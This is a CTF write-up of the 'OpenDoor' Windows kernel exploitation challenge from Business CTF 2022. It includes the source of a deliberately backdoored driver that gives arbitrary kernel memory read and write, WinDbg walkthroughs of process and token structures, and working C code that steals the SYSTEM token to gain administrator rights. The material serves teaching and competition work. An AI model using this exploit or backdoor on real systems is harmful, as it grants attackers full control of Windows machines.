Write-Ups
clubby789,
Jan 15
2022
Via a database breach we've managed to obtain credentials for a malicious developer, and located a workstation they have previously used to develop their kernel backdoors.
Luckily, they forgot to uninstall it from their own system - can you use their own tools against them and uncover their secrets?
OpenDoor was an introductory Windows Kernel exploitation challenge from Business CTF 2022. A backdoored driver has been installed on the system, and players must exploit it to gain Administrator privileges and read the flag. In this post, I'll demonstrate the exploitation process, as well as some basic WinDbg commands to explore kernel structures.
The driver provides methods to arbritrarily read and write to kernel memory - this is similar to CVE-2020-15368, wherein an ASRock keyboard driver had bundled the driver RWEverything - a kernel debugging tool which provides complete control over the behaviour and memory of the Windows Kernel.
During development of the driver, this ired.team article was very informative for setting up the skeleton of the device driver.
#include <wdm.h>
#define BKD_KDPRINT(_x_) \
DbgPrint("BKD.SYS: ");\
DbgPrint _x_;
#define BKD_TYPE 31337
#define IOCTL_BKD_WWW \
CTL_CODE( BKD_TYPE, 0x900, METHOD_BUFFERED, FILE_ANY_ACCESS )
#define IOCTL_BKD_RWW \
CTL_CODE( BKD_TYPE, 0x901, METHOD_BUFFERED, FILE_ANY_ACCESS )
#define DRIVER_NAME "BKD"
UNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L"\\Device\\BKD");
UNICODE_STRING DEVICE_SYMBOLIC_NAME = RTL_CONSTANT_STRING(L"\\??\\BKD");
typedef struct {
PVOID addr;
unsigned long long value;
} BkdPl;
DRIVER_DISPATCH HandleIOCtl;
void DriverUnload(PDRIVER_OBJECT dob) {
IoDeleteDevice(dob->DeviceObject);
IoDeleteSymbolicLink(&DEVICE_SYMBOLIC_NAME);
}
NTSTATUS HandleIOCtl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
UNREFERENCED_PARAMETER(DeviceObject);
PIO_STACK_LOCATION stackLocation = NULL;
BkdPl payload;
stackLocation = IoGetCurrentIrpStackLocation(Irp);
Irp->IoStatus.Status = STATUS_SUCCESS;
switch (stackLocation->Parameters.DeviceIoControl.IoControlCode) {
case IOCTL_BKD_WWW:
RtlCopyMemory(&payload, Irp->AssociatedIrp.SystemBuffer, sizeof(payload));
*(unsigned long long*)payload.addr = payload.value;
break;
case IOCTL_BKD_RWW:
RtlCopyMemory(&payload, Irp->AssociatedIrp.SystemBuffer, sizeof(payload));
payload.value = *(unsigned long long*)payload.addr;
RtlCopyMemory(Irp->AssociatedIrp.SystemBuffer, &payload, sizeof(payload));
Irp->IoStatus.Information = sizeof(payload);
break;
default:
Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
}
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS MajorFunctions(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
UNREFERENCED_PARAMETER(DeviceObject);
PIO_STACK_LOCATION stackLocation = NULL;
stackLocation = IoGetCurrentIrpStackLocation(Irp);
switch (stackLocation->MajorFunction) {
case IRP_MJ_CREATE:
break;
case IRP_MJ_CLOSE:
break;
default:
break;
}
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);
NTSTATUS status = 0;
DriverObject->DriverUnload = DriverUnload;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HandleIOCtl;;
DriverObject->MajorFunction[IRP_MJ_CREATE] = MajorFunctions;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = MajorFunctions;
DbgPrint("Driver loaded");
IoCreateDevice(DriverObject, 0, &DEVICE_NAME, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DriverObject->DeviceObject);
if (!NT_SUCCESS(status)) {
DbgPrint("Could not create device %wZ", DEVICE_NAME);
}
status = IoCreateSymbolicLink(&DEVICE_SYMBOLIC_NAME, &DEVICE_NAME);
if (!NT_SUCCESS(status)) {
DbgPrint("Error creating symbolic link %wZ", DEVICE_SYMBOLIC_NAME);
}
return STATUS_SUCCESS;
}
The driver creates a device at \Device\BKD
which can be opened, closed, and had IOCTLs run on it. IOCTLs are 'Input and Output Controls' - short commands which can be issued to the device. This driver defines 2: IOCTL_BKD_WWW
and IOCTL_BKD_RWW
.
case IOCTL_BKD_WWW:
RtlCopyMemory(&payload, Irp->AssociatedIrp.SystemBuffer, sizeof(payload));
*(unsigned long long*)payload.addr = payload.value;
break;
Irp->AssociatedIrp.SystemBuffer
is the buffer the user passes - in this case, a BkdPl
, which is a struct containing a pointer and a 64-bit value. The driver writes the value to the address.
case IOCTL_BKD_RWW:
RtlCopyMemory(&payload, Irp->AssociatedIrp.SystemBuffer, sizeof(payload));
payload.value = *(unsigned long long*)payload.addr;
RtlCopyMemory(Irp->AssociatedIrp.SystemBuffer, &payload, sizeof(payload));
Irp->IoStatus.Information = sizeof(payload);
break;
IOCTL_BKD_RWW
is similar, but it instead reads from the address into the BkdPl
, and copies the result back to the user.
Using these two IOCTL codes, we are able to write and read values from anywhere in kernel memory.
There are many ways to escalate privileges - kernel exploits will often overwrite a function pointer to execute their own shellcode, or perform a stack overflow to disable certain protections. In this case, as we have read/write abilities, we'll aim to steal Administrator's security token.
In Windows, each process has an associated TOKEN
structure. This holds the process's security context - their user, their groups, their integrity, etc. In order to escalate our privileges, we can copy the TOKEN
pointer from a process running as nt authority\system
into our own process. Spawning a new shell with this token will have full privileges, allowing us to browse to the Administrator desktop and get the flag.
We first need to find a process owned by SYSTEM. Luckily, process ID 4 is always `System`, a process with high privileges. I'll use WinDbg to demonstrate investigating this.
0: kd> !process 4 0
Searching for Process with Cid == 4
PROCESS ffffd082cc297080
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001aa000 ObjectTable: ffffe789d0664e00 HandleCount: 2953.
Image: System
0: kd> dt _EPROCESS ffffd082cc297080
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x438 ProcessLock : _EX_PUSH_LOCK
+0x440 UniqueProcessId : 0x00000000`00000004 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffffd082`cc3ba488 - 0xfffff802`1f41dfe0 ]
+0x458 RundownProtect : _EX_RUNDOWN_REF
[ ... ]
+0x4b8 Token : _EX_FAST_REF
We can inspect the token:
0: kd> dt _EX_FAST_REF ffffd082cc297080+0x4b8
ntdll!_EX_FAST_REF
+0x000 Object : 0xffffe789`d06428dc Void
+0x000 RefCnt : 0y1100
+0x000 Value : 0xffffe789`d06428dc
_EX_FAST_REF
stores a reference count in the lowest 4 bits of the address - we can mask these out to get the real address.
>>> hex(0xffffe789d06428dc & ~0b1111)
'0xffffe789d06428d0'
>>>
0: kd> !token 0xffffe789d06428d0 0
_TOKEN 0xffffe789d06428d0
TS Session ID: 0
User: S-1-5-18
User Groups:
00 S-1-5-32-544
Attributes - Default Enabled Owner
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-11
Attributes - Mandatory Default Enabled
03 S-1-16-16384
Attributes - GroupIntegrity GroupIntegrityEnabled
[ ... ]
To demonstrate token stealing at a high level, we'll first manually overwrite the token from WinDbg. First, we'll locate our own process's token:
C:\Users\WDKRemoteUser>tasklist /v | findstr cmd
cmd.exe 2172 Console 1 4,752 K Running DEBUGME\WDKRemoteUser 0:00:00 Command Prompt - findstr cmd
We'll search for the process 0x87c
(2172):
0: kd> !process 0x87c 0
Searching for Process with Cid == 87c
PROCESS ffffd082d23b3080
SessionId: 1 Cid: 087c Peb: fdf8fde000 ParentCid: 1114
DirBase: 1efc93000 ObjectTable: ffffe789d9a34500 HandleCount: 69.
Image: cmd.exe
We then simply write the TOKEN
from SYSTEM to our own, using the eq
command:eq ffffd082d23b3080+0x4b8 0xffffe789d06428dc
We can then resume our debugee VM, and check if we were successful:
C:\Users\WDKRemoteUser>whoami
nt authority\system
For further reading on this topic, ired.team has some very good resources.
With arbritrary read and write, replacing the token should be easy - however, we don't know where to start. Windows employs KASLR (Kernel Address Space Layout Randomisation), which means that the location of various code and data structures in memory is randomised on boot.
Luckily, however, Windows contains a semi-undocumented API, NtQuerySystemInformation, which can be used to extract certain information from the kernel, including process pointers. We can adapt code from this blog post or this post in order to obtain a SYSTEM process pointer:
PVOID FindBaseAddress(ULONG pid) {
HINSTANCE hNtDLL = LoadLibraryA("ntdll.dll");
PSYSTEM_HANDLE_INFORMATION buffer;
ULONG bufferSize = 0xffffff;
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(bufferSize);
NTSTATUS status;
PVOID ProcAddress = NULL;
_NtQuerySystemInformation NtQuerySystemInformation = _NtQuerySystemInformation(GetProcAddress(hNtDLL, "NtQuerySystemInformation"));
status = NtQuerySystemInformation(0x10, buffer, bufferSize, NULL);
if (!NT_SUCCESS(status)) {
printf("NTQueryInformation Failed!\n");
exit(-1);
}
for (ULONG i = 0; i <= buffer->HandleCount; i++) {
if ((buffer->Handles[i].ProcessId == pid)) {
ProcAddress = buffer->Handles[i].Object;
break;
}
}
free(buffer);
return ProcAddress;
}
This will enumerate the HANDLE
s attached to PID 4. Luckily, the first handle attached to PID 4 is a pointer to the process itself, which we can confirm in the debugger:
# Handle 4 (4 is the index of the first handle), information level 2, PID 4
0: kd> !handle 4 2 4
PROCESS ffffd582a2496040
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001aa000 ObjectTable: ffffbf070765da40 HandleCount: 2371.
Image: System
Kernel handle table at ffffbf070765da40 with 2371 entries in use
0004: Object: ffffd582a2496040 GrantedAccess: 001fffff (Protected) Entry: ffffbf07076ac010
Object: ffffd582a2496040 Type: (ffffd582a24a7380) Process
ObjectHeader: ffffd582a2496010 (new version)
HandleCount: 4 PointerCount: 163939
0: kd> dt _EPROCESS ffffd582a2496040 Token
ntdll!_EPROCESS
+0x4b8 Token : _EX_FAST_REF
0: kd> dq _EPROCESS ffffd582a2496040 Token
Couldn't resolve error at '_EPROCESS ffffd582a2496040 Token'
0: kd> dt _EX_FAST_REF ffffd582a2496040+0x4b8
ntdll!_EX_FAST_REF
+0x000 Object : 0xffffbf07`0760379c Void
+0x000 RefCnt : 0y1100
+0x000 Value : 0xffffbf07`0760379c
0: kd> !token 0xffffbf07`07603790
_TOKEN 0xffffbf0707603790
TS Session ID: 0
User: S-1-5-18
User Groups:
[ ... ]
Locating our own process isn't quite as easy, as it doesn't have a HANDLE
to itself in a known location - it won't be obvious to find with NtQuerySystemInformation
. However, one process is all we need, as the entire list of processes is joined together in a doubly-linked-list. We can examine this list with
# The !list command iterates over each element of a doubly-linked list and executes a command on it
# In this case, I print the process ID
0: kd> !list -t _EPROCESS.ActiveProcessLinks.Flink -x "dt _EPROCESS @$extret UniqueProcessId" ffffd582a2496040
ntdll!_EPROCESS
+0x440 UniqueProcessId : 0x00000000`00000004 Void
ntdll!_EPROCESS
+0x440 UniqueProcessId : 0x00000000`0000005c Void
ntdll!_EPROCESS
+0x440 UniqueProcessId : 0x00000000`00000154 Void
ntdll!_EPROCESS
+0x440 UniqueProcessId : 0x00000000`000001c4 Void
ntdll!_EPROCESS
+0x440 UniqueProcessId : 0x00000000`00000210 Void
ntdll!_EPROCESS
+0x440 UniqueProcessId : 0x00000000`0000021c Void
We can now start implementing our exploit.
NTSTATUS Write(HANDLE device, unsigned long long what, PVOID where) {
BkdPl payload = { where, what };
return DeviceIoControl(device, IOCTL_BKD_WWW, &payload, sizeof(payload), NULL, 0, NULL, (LPOVERLAPPED)NULL);
}
unsigned long long Read(HANDLE device, PVOID where) {
BkdPl in = { where, 0 };
BkdPl out{ NULL, 0 };
DWORD outsz;
NTSTATUS status = DeviceIoControl(device, IOCTL_BKD_RWW, &in, sizeof(in), &out, sizeof(out), &outsz, (LPOVERLAPPED)NULL);
return out.value;
}
#define PIDOFF 0x440
#define PLINKOFF 0x448
#define TOKENOFF 0x4b8
#define READ_ADDR(base, off) ((PVOID)((unsigned long long)base + off))
// Walks the process linked-list from SYSTEM to find our process
PVOID LocateCurrentProc(HANDLE device, PVOID SYSTEM) {
DWORD pid = GetCurrentProcessId();
DWORD curPid;
PVOID current = SYSTEM;
do {
// Follow the next process link
current = (PVOID)(Read(device, READ_ADDR(current, PLINKOFF)) - PLINKOFF);
// Read the pid of 'current'
if ((curPid = (DWORD)Read(device, READ_ADDR(current, PIDOFF))) == pid) {
break;
}
} while (current != SYSTEM);
if (current == SYSTEM) {
return NULL;
}
return current;
}
To follow a process link, we need to read the ActiveProcessLinks.Flink
field (at 0x448). That gives us the address of the next process's ActiveProcessLinks.Flink
field, so we subtract 0x448 again to get the address of the _EPROCESS
itself. We can then read the UniqueProcessId
field - if the value is the desired PID we can return the address - otherwise, we need to keep iterating over the list.
We'll also now set up our exploit to open the driver and locate the base addresses.
int main(char argc, char** argv)
{
HANDLE device = INVALID_HANDLE_VALUE;
PVOID procBase;
PVOID systemBase;
char buffer[1024];
DWORD bufSz = sizeof(buffer);
GetUserNameA(buffer, &bufSz);
printf("[*] Current user: %s\n", buffer);
device = CreateFileW(L"\\\\.\\BKD", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0);
if (device == INVALID_HANDLE_VALUE)
{
printf_s("[x] Could not open device: 0x%x\n", GetLastError());
return FALSE;
}
puts("[*] Reading address of SYSTEM process");
systemBase = FindBaseAddress(4);
if (!systemBase) {
puts("[x] Couldn't get base address of SYSTEM EPROCESS");
return 1;
}
printf("[+] Base of system is at %p\n", systemBase);
procBase = LocateCurrentProc(device, systemBase);
if (!procBase) {
puts("[x] Couldn't find current EPROCESS");
return 1;
}
printf("[+] Located our process at %#p\n", procBase);
}
We're now all ready for the final step - reading the TOKEN pointer for SYSTEM, and writing it back into our own process:
printf("[*] Reading SYSTEM token pointer (at %#p)\n", READ_ADDR(systemBase, TOKENOFF));
PVOID TOKEN_SYSTEM = (PVOID)Read(device, READ_ADDR(systemBase, TOKENOFF));
printf("[+] SYSTEM token is at %#p\n", TOKEN_SYSTEM);
printf("[*] Overwriting current process token pointer (at %#p)\n", READ_ADDR(procBase, TOKENOFF));
Write(device, (unsigned long long)TOKEN_SYSTEM, READ_ADDR(procBase, TOKENOFF));
CloseHandle(device);
bufSz = sizeof(buffer);
GetUserNameA(buffer, &bufSz);
printf("[*] Current user: %s\n", buffer);
if (strcmp(buffer, "SYSTEM") != 0) {
puts("[x] Privesc failed");
return 1;
}
else {
puts("[+] Privesc succeeded");
}
system("powershell.exe");
With this, we're ready to pop a shell, so let's run it:
We now have full admin privileges, and we're ready to grab the flag!
With such a powerful primitive available, there are many other ways to approach the problem. Some teams manipulated the privileges of their existing token - offset 0x40 of the TOKEN
struct is nt!_SEP_TOKEN_PRIVILEGES
. This structure holds a number of bits indicating the available and enabled privileges for the process with that token. By overwriting the Present
and Enabled
fields with 0xFFFFFFFFFFFFFFFF
(all bits set to 1), the process will have all privileges enabled.
From here, we can escalate privileges in many ways - using SeDebugPrivilege
to inject shellcode in arbritrary processes owned by`SYSTEM
, SeTcbPrivilege
to impersonate arbritrary groups, SeBackupPrivilege
for the ability to read any file, etc. Some more abusable privileges can be found here.
In this writeup, I found a handle held by SYSTEM
to its own process, and walked the linked list of processes until I found one with my current PID. As NtQuerySystemInformation
allows us to enumerate all handles, we can locate a token handle for ourself more directly. We can use GetProcess()
and GetProcessId()
to get a HANDLE
and PID for the current process.
We can then use OpenProcessToken
to create a HANDLE
to our process's token, which will create a corresponding handle object in the kernel. We can then simply enumerate every handle returned by NtQuerySystemInformation
, and check:
Does UniqueProcessId
match our own process?
Does HandleValue
match the HANDLE
value returned by OpenProcessToken
?
If so, we have found the process token, and can return the Object
property - which is a pointer to the actual item the handle is to (the token).